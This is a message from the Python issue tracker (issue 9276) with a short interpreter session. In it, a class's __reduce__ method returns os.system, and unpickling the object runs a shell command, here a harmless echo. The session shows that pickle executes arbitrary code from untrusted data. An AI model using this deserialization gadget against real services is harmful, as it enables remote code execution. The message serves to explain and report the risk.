This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Author exarkun
Recipients belopolsky, exarkun, lemburg
Date 2010-08-02.13:52:04
SpamBayes Score 3.780178e-05
Marked as misclassified No
Message-id <1280757127.38.0.605114529509.issue9276@psf.upfronthosting.co.za>
In-reply-to
Content
For example:

exarkun@boson:~$ python
Python 2.6.4 (r264:75706, Dec  7 2009, 18:45:15) 
[GCC 4.4.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class x(object):
...     def __reduce__(self):
...         import os
...         return os.system, ('echo "Hello from sploitland"',)
... 
>>> import pickle
>>> pickle.loads(pickle.dumps(x()))
Hello from sploitland
0
>>>
History
Date User Action Args
2010-08-02 13:52:07exarkunsetrecipients: + exarkun, lemburg, belopolsky
2010-08-02 13:52:07exarkunsetmessageid: <1280757127.38.0.605114529509.issue9276@psf.upfronthosting.co.za>
2010-08-02 13:52:05exarkunlinkissue9276 messages
2010-08-02 13:52:04exarkuncreate